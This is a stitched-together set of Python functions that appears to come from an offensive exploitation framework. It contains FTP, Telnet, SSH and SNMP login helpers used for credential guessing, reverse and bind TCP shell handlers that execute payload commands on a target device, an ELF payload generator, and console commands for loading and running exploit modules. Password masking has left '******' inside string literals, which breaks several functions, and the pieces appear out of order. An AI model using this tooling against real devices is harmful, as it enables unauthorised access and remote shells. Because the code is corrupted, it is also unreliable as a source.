def login(self, username: str, password: str) -> bool: """ Login to FTP server :param str username: FTP account username :param str password: FTP account password :return bool: True if login was successful, False otherwise """ try: self.ftp_client.login(username, password) print_success( self.peer, "FTP Authentication Successful - Username: '******' Password: '******'" .format(username, password), verbose=self.verbosity) return True except Exception: print_error( self.peer, "FTP Authentication Failed - Username: '******' Password: '******'". format(username, password), verbose=self.verbosity) self.ftp_client.close() return False
def _windows_shell(self, chan: paramiko.channel.Channel) -> None: """ Start Windows shell with SSH server :param paramiko.channel.Channel chan: channel for communicating with SSH server :return None: """ def writeall(sock): while True: data = sock.recv(256) if not data: sys.stdout.flush() return sys.stdout.write(data) sys.stdout.flush() writer = threading.Thread(target=writeall, args=(chan, )) writer.start() try: while True: d = sys.stdin.read(1) if not d: break chan.send(d) except Exception as err: print_error("Error", err, verbose=self.verbosity)
def __init__(self, tcp_target: str, tcp_port: int, verbosity: bool = False) -> None: """ TCP client constructor :param str tcp_target: target TCP server ip address :param int tcp_port: target TCP server port :param bool verbosity: display verbose output :return None: """ self.tcp_target = tcp_target self.tcp_port = tcp_port self.verbosity = verbosity self.peer = "{}:{}".format(self.tcp_target, self.tcp_port) if is_ipv4(self.tcp_target): self.tcp_client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) elif is_ipv6(self.tcp_target): self.tcp_client = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) else: print_error("Target address is not valid IPv4 nor IPv6 address", verbose=self.verbosity) return None self.tcp_client.settimeout(TCP_SOCKET_TIMEOUT)
def recv_all(self, num: int) -> bytes: """ Receive all data sent by the server :param int num: number of total bytes that should be received :return bytes: data that was received from the server """ try: response = b"" received = 0 while received < num: tmp = self.tcp_client.recv(num - received) if tmp: received += len(tmp) response += tmp else: break return response except Exception as err: print_error(self.peer, "TCP Error while receiving all data", err, verbose=self.verbosity) return None
def http_request(self, method: str, path: str, session: requests = requests, **kwargs) -> requests.Response: """ Requests HTTP resource :param str method: method that should be issued e.g. GET, POST :param str path: path to the resource that should be requested :param requests session: session manager that should be used :param kwargs: kwargs passed to request method :return Response: Response object """ if self.ssl: url = "https://" else: url = "http://" url += "{}:{}{}".format(self.target, self.port, path) kwargs.setdefault("timeout", HTTP_TIMEOUT) kwargs.setdefault("verify", False) kwargs.setdefault("allow_redirects", False) try: return getattr(session, method.lower())(url, **kwargs) except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema): print_error("Invalid URL format: {}".format(url), verbose=self.verbosity) except requests.exceptions.ConnectionError: print_error("Connection error: {}".format(url), verbose=self.verbosity) except requests.RequestException as error: print_error(error, verbose=self.verbosity) except socket.error as err: print_error(err, verbose=self.verbosity) except KeyboardInterrupt: print_error("Module has been stopped", verbose=self.verbosity) return None
def login(self, username: str, password: str, retries: int = 1) -> bool: """ Login to Telnet server :param str username: Telnet account username :param str password: Telnet account password :param int retries: number of authentication retries :return bool: True if login was successful, False otherwise """ for _ in range(retries): try: if not self.connect(): continue self.telnet_client.expect([b"Login: "******"login: "******"Username: "******"username: "******"utf-8") + b"\r\n") self.telnet_client.expect([b"Password: "******"password: "******"utf-8") + b"\r\n") self.telnet_client.write(b"\r\n") (i, obj, res) = self.telnet_client.expect([b"Incorrect", b"incorrect"], 5) if i == -1 and any([x in res for x in [b"#", b"$", b">"]]) or len(res) > 500: # big banner e.g. mikrotik print_success(self.peer, "Telnet Authentication Successful - Username: '******' Password: '******'".format(username, password), verbose=self.verbosity) return True else: print_error(self.peer, "Telnet Authentication Failed - Username: '******' Password: '******'".format(username, password), verbose=self.verbosity) break except Exception as err: print_error(self.peer, "Telnet Error while authenticating to the server", err, verbose=self.verbosity) return False
def reverse_tcp(self): all_interfaces = "0.0.0.0" sock = self.listen(all_interfaces, self.options["lport"]) if self.port_used: print_error("Could not set up listener on {}:{}".format( all_interfaces, self.options["lport"])) return # execute binary commands = self.build_commands() print_status("Executing payload on the device") # synchronized commands for command in commands[:-1]: self.exploit.execute(command) # asynchronous last command to execute binary & rm binary thread = threading.Thread(target=self.exploit.execute, args=(commands[-1], )) thread.start() # waiting for shell print_status("Waiting for reverse shell...") client, addr = sock.accept() sock.close() print_status("Connection from {}:{}".format(addr[0], addr[1])) print_success("Enjoy your shell") t = telnetlib.Telnet() t.sock = client t.interact()
def bind_tcp(self): # execute binary commands = self.build_commands() # synchronized commands for command in commands[:-1]: self.exploit.execute(command) # asynchronous last command to execute binary & rm binary thread = threading.Thread(target=self.exploit.execute, args=(commands[-1], )) thread.start() # connecting to shell print_status("Connecting to {}:{}".format(self.options['rhost'], self.options['rport'])) time.sleep(2) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((self.options["rhost"], int(self.options["rport"]))) except socket.error: print_error("Could not connect to {}:{}".format( self.options["rhost"], self.options["rport"])) return print_success("Enjoy your shell") tn = telnetlib.Telnet() tn.sock = sock tn.interact()
def run(self): print_status("Generating payload") try: data = self.generate() except OptionValidationError as e: print_error(e) return if self.output == "elf": with open(self.filepath, "wb+") as f: print_status("Building ELF payload") content = self.generate_elf(data) print_success("Saving file {}".format(self.filepath)) f.write(content) elif self.output == "c": print_success("Bulding payload for C") content = self.generate_c(data) print_info(content) elif self.output == "python": print_success("Building payload for python") content = self.generate_python(data) print_info(content) else: raise OptionValidationError("No such option as {}".format( self.output)) return content
def command_run(self, *args, **kwargs): print_status("Running module...") try: self.current_module.run() except KeyboardInterrupt: print_info() print_error("Operation cancelled by user") except Exception: print_error(traceback.format_exc(sys.exc_info()))
def command_show(self, *args, **kwargs): sub_command = args[0] try: getattr(self, "_show_{}".format(sub_command))(*args, **kwargs) except AttributeError: print_error("Unknown 'show' sub-command '{}'. " "What do you want to show?\n" "Possible choices are: {}".format( sub_command, self.show_sub_commands))
def _show_encoders(self, *args, **kwargs): if issubclass(self.current_module.__class__, BasePayload): encoders = self.current_module.get_encoders() if encoders: headers = ("Encoder", "Name", "Description") print_table(headers, *encoders, max_column_length=9000) return print_error("No encoders available")
def command_unsetg(self, *args, **kwargs): key, _, value = args[0].partition(' ') try: del GLOBAL_OPTS[key] except KeyError: print_error("You can't unset global option '{}'.\n" "Available global options: {}".format( key, list(GLOBAL_OPTS.keys()))) else: print_success({key: value})
def command_use(self, module_path, *args, **kwargs): if module_path.startswith("extra_"): module_path = pythonize_path(module_path) else: module_path = pythonize_path(module_path) module_path = ".".join(("thgconsole", "modules", module_path)) # module_path, _, exploit_name = module_path.rpartition('.') try: self.current_module = import_exploit(module_path)() except THGtException as err: print_error(str(err))
def command_search(self, *args, **kwargs): keyword = args[0] if not keyword: print_error("Please specify search keyword. e.g. 'search cisco'") return for module in self.modules: if keyword in module: module = humanize_path(module) print_info( "{}\033[31m{}\033[0m{}".format(*module.partition(keyword)))
def command_check(self, *args, **kwargs): try: result = self.current_module.check() except Exception as error: print_error(error) else: if result is True: print_success("Target is vulnerable") elif result is False: print_error("Target is not vulnerable") else: print_status("Target could not be verified")
def close(self) -> bool: """ Close connection to Telnet server :return bool: True if closing connection was successful, False otherwise """ try: self.telnet_client.close() return True except Exception as err: print_error(self.peer, "Telnet Error while closing connection", err, verbose=self.verbosity) return False
def connect(self) -> bool: """ Connect to Telnet server :return bool: True if connection was successful, False otherwise """ try: self.telnet_client = telnetlib.Telnet(self.telnet_target, self.telnet_port, timeout=TELNET_TIMEOUT) return True except Exception as err: print_error(self.peer, "Telnet Error while connecting to the server", err, verbose=self.verbosity) return False
def command_set(self, *args, **kwargs): key, _, value = args[0].partition(" ") if key in self.current_module.options: setattr(self.current_module, key, value) self.current_module.exploit_attributes[key][0] = value if kwargs.get("glob", False): GLOBAL_OPTS[key] = value print_success("{} => {}".format(key, value)) else: print_error("You can't set option '{}'.\n" "Available options: {}".format( key, self.current_module.options))
def login_pkey(self, username: str, priv_key: str, retries: int = 1) -> bool: """ Login to SSH server with private key :param str username: SSH account username :param str priv_key: SSH account private key :param int retries: number of login retries :return bool: True if login was successful, False otherwise """ if "DSA PRIVATE KEY" in priv_key: priv_key = paramiko.DSSKey.from_private_key(io.StringIO(priv_key)) elif "RSA PRIVATE KEY" in priv_key: priv_key = paramiko.RSAKey.from_private_key(io.StringIO(priv_key)) else: return False for _ in range(retries): try: self.ssh_client.connect(self.ssh_target, self.ssh_port, timeout=SSH_TIMEOUT, banner_timeout=SSH_TIMEOUT, username=username, pkey=priv_key, look_for_keys=False) except paramiko.AuthenticationException: print_error( self.peer, "SSH Authentication Failed - Username: '******' auth with private key" .format(username), verbose=self.verbosity) except Exception as err: print_error( self.peer, "SSH Error while authenticated by using private key", err, verbose=self.verbosity) else: print_success( self.peer, "SSH Authentication Successful - Username: '******' with private key" .format(username), verbose=self.verbosity) return True self.ssh_client.close() return False
def write(self, data: bytes) -> bool: """ Write data to Telnet server :param bytes data: data that should be written to Telnet server :return bool: True if data was written successfuly, False otherwise """ try: self.telnet_client.write(data, 5) return True except Exception as err: print_error(self.peer, "Telnet Error while writing to the server", err, verbose=self.verbosity) return False
def read_until(self, data: bytes) -> bytes: """ Read until specified data found in response :param bytes data: bytes until which data should be read :return bytes: bytes read until data """ try: response = self.telnet_client.read_until(data, 5) return response except Exception as err: print_error(self.peer, "Telnet Error while reading data from the server", err, verbose=self.verbosity) return None
def test_connect(self) -> bool: """ Test connection to Telnet server :return bool: True if test connection was successful, False otherwise """ try: self.telnet_client = telnetlib.Telnet(self.telnet_target, self.telnet_port, timeout=TELNET_TIMEOUT) self.telnet_client.expect([b"Login: "******"login: "******"Username: "******"username: "******"Telnet Error while testing connection to the server", err, verbose=self.verbosity) return False
def send(self, data: bytes) -> bool: """ Send data to TCP server :param bytes data: data that should be sent to TCP server :return bool: True if sending data was successful, False otherwise """ try: self.tcp_client.send(data) return True except Exception as err: print_error(self.peer, "TCP Error while sending data", err, verbose=self.verbosity) return False
def close(self) -> bool: """ Close UDP connection :return bool: True if connection was closed successful, False otherwise """ try: self.udp_client.close() return True except Exception as err: print_error(self.peer, "Error while closing udp socket", err, verbose=self.verbosity) return False
def recv(self, num: int) -> bytes: """ Receive data from TCP server :param int num: number of bytes that should be received from the server :return bytes: data that was received from the server """ try: response = self.tcp_client.recv(num) return response except Exception as err: print_error(self.peer, "TCP Error while receiving data", err, verbose=self.verbosity) return None
def send(self, data: bytes) -> bool: """ Send UDP data :param bytes data: data that should be sent to the server :return bool: True if data was sent, False otherwise """ try: self.udp_client.sendto(data, (self.udp_target, self.udp_port)) return True except Exception as err: print_error(self.peer, "Error while sending data", err, verbose=self.verbosity) return False
def execute(self, cmd: str) -> str: """ Execute command on SSH server :param str cmd: command to execute on SSH server :return str: command output """ try: ssh_stdin, ssh_stdout, ssh_stderr = self.ssh_client.exec_command( cmd) return ssh_stdout.read() except Exception as err: print_error(self.peer, "SSH Error while executing command on the server", err, verbose=self.verbosity) return None
def get(self, community_string: str, oid: str, version: int = 1, retries: int = 0) -> bytes: """ Get OID from SNMP server :param str community_string: SNMP server communit string :param str oid: SNMP server oid :param int version: SNMP protocol version :param int retries: number of retries :return bytes: SNMP server response """ cmdGen = cmdgen.CommandGenerator() try: errorIndication, errorStatus, errorIndex, varBinds = cmdGen.getCmd( cmdgen.CommunityData(community_string, mpModel=version), cmdgen.UdpTransportTarget((self.snmp_target, self.snmp_port), timeout=SNMP_TIMEOUT, retries=retries), oid, ) except Exception as err: print_error(self.peer, "SNMP Error while accessing server", err, verbose=self.verbosity) return None if errorIndication or errorStatus: print_error( self.peer, "SNMP invalid community string: '{}'".format(community_string), verbose=self.verbosity) else: print_success(self.peer, "SNMP valid community string found: '{}'".format( community_string), verbose=self.verbosity) return varBinds return None
def connect(self) -> bool: """ Connect to TCP server :return bool: True if connection was successful, False otherwise """ try: self.tcp_client.connect((self.tcp_target, self.tcp_port)) print_status(self.peer, "TCP Connection established", verbose=self.verbosity) return True except Exception as err: print_error(self.peer, "TCP Error while connecting to the server", err, verbose=self.verbosity) return False